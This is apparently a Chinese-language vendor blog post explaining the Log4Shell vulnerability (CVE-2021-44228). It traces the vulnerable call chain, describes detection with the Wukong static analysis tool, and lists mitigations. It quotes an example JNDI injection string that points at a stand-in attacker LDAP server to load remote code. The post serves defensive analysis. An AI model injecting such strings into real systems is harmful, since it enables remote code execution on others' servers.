一、簡介
最近的Log4J漏洞(CVE-2021-44228)正造成網絡大亂,其影響力不亞於早期的HeartBleeding漏洞。2.0-beta9 ~ 2.14.1版本的Apache Log4j2均存在改漏洞,可以說直接影響了大部分基於Java的應用。該漏洞最早被阿里雲安全團隊發現並驗證,隨即被Apache定義為高危級別。
Log4j在log字符串”${jndi:xxx}”時,“${“這一特殊字符會指定Log4J通過JNDI來根據字符串”xxx”獲得對應名稱。如果字符串“xxx”為有害的URL” (LDAP:// attackerserver.com:1389/ExploitPayload”),JNDI會遠程加載調用該URL指定的服務器上任意代碼並執行。JNDI(Java Naming and Directory Interface),是Java的一個目錄服務應用程序接口(API),它提供一個目錄系統,並將服務名稱與對象關聯起來,從而使得開發人員在開發過程中可以使用名稱來訪問對象。該漏洞屬於典型的注入類型漏洞,攻擊者通過控制日志消息或日志消息參數注入惡意代碼。
如果用戶輸入被輸出到日志中,由於Log4J組件未對用戶輸入進行充分輸入驗證,攻擊者可以通過Apache Log4j2 JNDI 功能來執行注入代碼,包括從指定惡意LDAP服務器並加載的的任意代碼。
二、通過Wukong檢測log4J漏洞
對於注入類漏洞(包括SQL注入、命令行注入、XSS等),我們可以通過經典的信息流分析技術來檢測是否存在一條路徑從用戶輸入 (Source) 到達危險操作點(Sink),且該用戶輸入未經過輸入驗證。
對於Log4J漏洞,當檢測log4J庫時,Source為Log4J組件提供的公共API輸入(例如Log4j.error()的參數),Sink為訪問JNDI服務的接口。Wukong可以有效地檢測出Log4J庫中存在的jndi注入問題。如圖1所示。
圖1:通過Wukong檢測Log4J漏洞
注意觸發該漏洞的調用鏈非常長,隱藏比較深且涉及到復雜的指針依賴關系,我們測試過一些其他靜態分析工具均未能檢測出該漏洞。
三、錯誤根源分析
漏洞觸發路徑如下所示:
1、 獲取Logger,並調用error方法
2、 error方法內會調用logIfEnabled方法,注意,debug、info、warn、error、fatal等公共API都會調用logIfEnabled方法
3、 logIfEnaled方法會調用logMessage方法
4、 接着會根據進入下列調用鏈:logMessageSafely -> logMessageTrackRecursion -> tryLogMessage -> Logger.log -> DefaultReliabilityStrategy.log -> processLogEvent -> callAppenders -> callAppenderPreventRecursion -> callAppender0 -> tryCallAppender -> append -> tryAppend -> directEncodeEvent -> PatternLayout.encode -> toText -> toSerializable -> PatternFormatter.format 最終會調用MessagePatternConverter類的format函數,當日志字串帶有”${”的時候會特殊處理。
5、 字串會交給StrSubstitutor做replace -> substitute處理,找到 “${” 對應的 “}” 並提取中間的字串,這里是“jndi:xxx”
6、 Substitute方法會調用resolveVariable,接着會調用JndiLookup類的lookup函數
7、 最后JndiManager的lookup函數會解析jndi資源,這里是“xxx”,如果“xxx“部分是可執行的惡意程序,那么該程序將會被執行,從而產生非常嚴重的危害。
因而,如果服務器代碼中直接將用戶的輸入使用Logger寫入日志,則用戶可以構造任意惡意代碼攻擊服務器。
四、漏洞修復
對該漏洞的修復在log4j2.15.0及以后版本中是通過將“${“字符過濾進行特殊處理。對於應用的補丁是建議直接升級到2.15.0及以后版本,如果由於兼容性的原因難以升級,可以通過以下方法暫時處理:
1、 修改jvm啟動參數,-Dlog4j2.formatMsgNoLookups=true
2、 修改配置:log4j2.formatMsgNoLookups=True
3、 將系統環境變量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設置為 true
同時注意該漏洞僅僅能在用戶輸入被Log的時候觸發,因而我們可以通過靜態分析工具Wukong檢測應用中是否存在用戶輸入直接輸出到日志中:對於應用程序代碼我們可以將外部輸作為source,將log函數作為sink,查看是否存在一條路徑可達,即是否存在外部輸入可以控制log函數的參數。如果不存在這樣一條路徑,log4J中的漏洞也不會觸發。